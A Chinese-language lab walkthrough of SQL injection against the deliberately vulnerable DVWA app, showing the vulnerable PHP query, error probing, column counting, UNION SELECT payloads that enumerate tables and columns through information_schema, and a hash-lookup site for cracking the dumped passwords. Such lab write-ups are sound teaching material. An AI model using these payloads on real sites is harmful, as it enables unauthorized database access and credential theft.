1.開啟平台,打開頁面(low)。


2.測試id參數。

加單引號試試:
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
閉合了前面的單引號,所以后面的就需要注釋掉。SQL語句注釋:①“#” ②“-- ”
3.分析源碼。
1 <?php 2 3 if(isset($_GET['Submit'])){ 4 5 // Retrieve data 6 7 $id = $_GET['id']; 8 9 $getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'"; 10 $result = mysql_query($getid) or die('<pre>' . mysql_error() . '</pre>' ); 11 12 $num = mysql_numrows($result); 13 14 $i = 0; 15 16 while ($i < $num) { 17 18 $first = mysql_result($result,$i,"first_name"); 19 $last = mysql_result($result,$i,"last_name"); 20 21 $html .= '<pre>'; 22 $html .= 'ID: ' . $id . '<br>名字: ' . $first . '<br>姓氏: ' . $last; 23 $html .= '</pre>'; 24 25 $i++; 26 } 27 } 28 ?>
找到其中在數據庫執行的SQL語句:
SELECT first_name, last_name FROM users WHERE user_id = '$id'

4.字段數查詢。
order by 語句 用於根據指定的列對結果集進行排序。
在數據庫中操作:

order by 后面的數字就是我們猜測的在這個表中的列數,上圖表明此表的列數為2。
5.獲取顯示位

跟數據庫一樣的:

6.查詢關鍵信息
即是讓內置查詢函數代替當前的顯示位。
version() user() database() @@version_compile_os

7.獲取當前表的其他內容(密碼)
其實在我們的數據庫中還有一個information_schema數據庫,這時候就要利用它啦!
information_schema數據庫是MySQL自帶的,它提供了訪問數據庫元數據的方式。什么是元數據呢?元數據是關於數據的數據,如數據庫名或表名,列的數據類型,或訪問權限等。
SCHEMATA表:提供了當前mysql實例中所有數據庫的信息。是show databases的結果取之此表。
TABLES表:提供了關於數據庫中的表的信息(包括視圖)。詳細表述了某個表屬於哪個schema,表類型,表引擎,創建時間等信息。是show tables from schemaname的結果取之此表。
COLUMNS表:提供了表中的列信息。詳細表述了某張表的所有列以及每個列的信息。是show columns from schemaname.tablename的結果取之此表。

SQL語句查找表名,
SELECT first_name, last_name FROM users WHERE user_id =1
union select table_name,2 from information_schema.tables where table_schema='dvwa';


所以在頁面中:

選擇users表吧! 二營長,開炮。
SELECT first_name, last_name FROM users WHERE user_id =1 union select column_name,2 from information_schema.columns where table_name='users';

嘻嘻! 現在肯定開打user,password這兩列咯。


9.解密
http://www.cmd5.com/

完工!!!
